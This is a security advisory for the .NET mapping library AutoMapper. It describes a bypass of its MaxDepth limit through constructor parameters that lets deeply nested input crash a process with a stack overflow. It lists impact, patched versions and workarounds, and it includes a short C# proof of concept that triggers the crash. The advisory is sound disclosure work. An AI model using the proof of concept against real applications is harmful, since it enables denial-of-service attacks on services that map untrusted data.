Vulnerability GHSA-6vhm-j9h7-f9gh
Summary
AutoMapper: Uncontrolled Recursion with Constructor Parameters
Details
Summary
MaxDepth, whether set explicitly or applied by default (64) to self-referential type maps, was not enforced when the recursion goes through constructor parameters. Mapping a deeply nested source to a destination built through its constructor, such as a positional record, recurses without bound and throws a StackOverflowException. That exception can't be caught and terminates the process. This bypasses the mitigation for CVE-2026-32933.
Details
The type depth used by MaxDepth was incremented only after the destination object was created. Constructor parameters, including child objects of the same type, are mapped while the destination is created, so each level recursed before its parent was counted, and the depth check never tripped.
Affected:
- destination types mapped through constructor parameters, including positional records
- both an explicit
MaxDepth(n)and the default limit of 64 ConstructUsingthat maps recursively throughcontext.Mapper
With MaxDepth(10), a 100-level chain was mapped to all 100 levels. On a 1 MB stack (the Windows default), the process crashed at between 1,000 and 2,000 levels.
PoC
The type only has a constructor with positional arguments, and MaxDepth is set to 10:
using AutoMapper;
// Setup configuration - with MaxDepth set
var mapper = new MapperConfiguration(cfg =>
{
cfg.CreateMap<CircularClass, CircularClass>().MaxDepth(10);
})
.CreateMapper();
// Create a deeply nested object (28,000+ levels)
var root = new CircularClass(null);
var current = root;
for (int i = 0; i < 30000; i++)
{
current.Next = new CircularClass(null);
current = current.Next;
}
// STACK OVERFLOW even though the max depth is set
var mappedRoot = mapper.Map<CircularClass>(root);
public class CircularClass
{
public CircularClass(CircularClass? Next)
{
this.Next = Next;
}
public CircularClass? Next { get; set; }
}
Impact
Any application that maps attacker-influenced, deeply nested data to a destination type built through a constructor, with a recursive member, can be crashed. Setting MaxDepth as recommended for CVE-2026-32933 doesn't protect these mappings.
Patches
Fixed in 16.3.0 and 15.1.4. The depth is now counted before the destination is created, so constructor mapping stops at the same depth as property mapping.
Workarounds
If the destination type has a parameterless constructor and settable properties, cfg.DisableConstructorMapping() makes AutoMapper map through the properties, where MaxDepth is enforced. Positional records have no workaround other than limiting input depth before mapping, or upgrading.
Credits
Reported by @mcambria, who found it while writing a test to confirm their MaxDepth mitigation for CVE-2026-32933.
Related
- CVE-2026-32933 (GHSA-rvv3-g6hj-g44x)
- GHSA-gpwp-5797-mjff: other paths that bypassed
MaxDepth(polymorphic maps, runtime-typed members, dictionary and dynamic sources, recursive type converters), fixed in the same releases.
Related Vulnerabilities
Other vulnerabilities affecting the same packages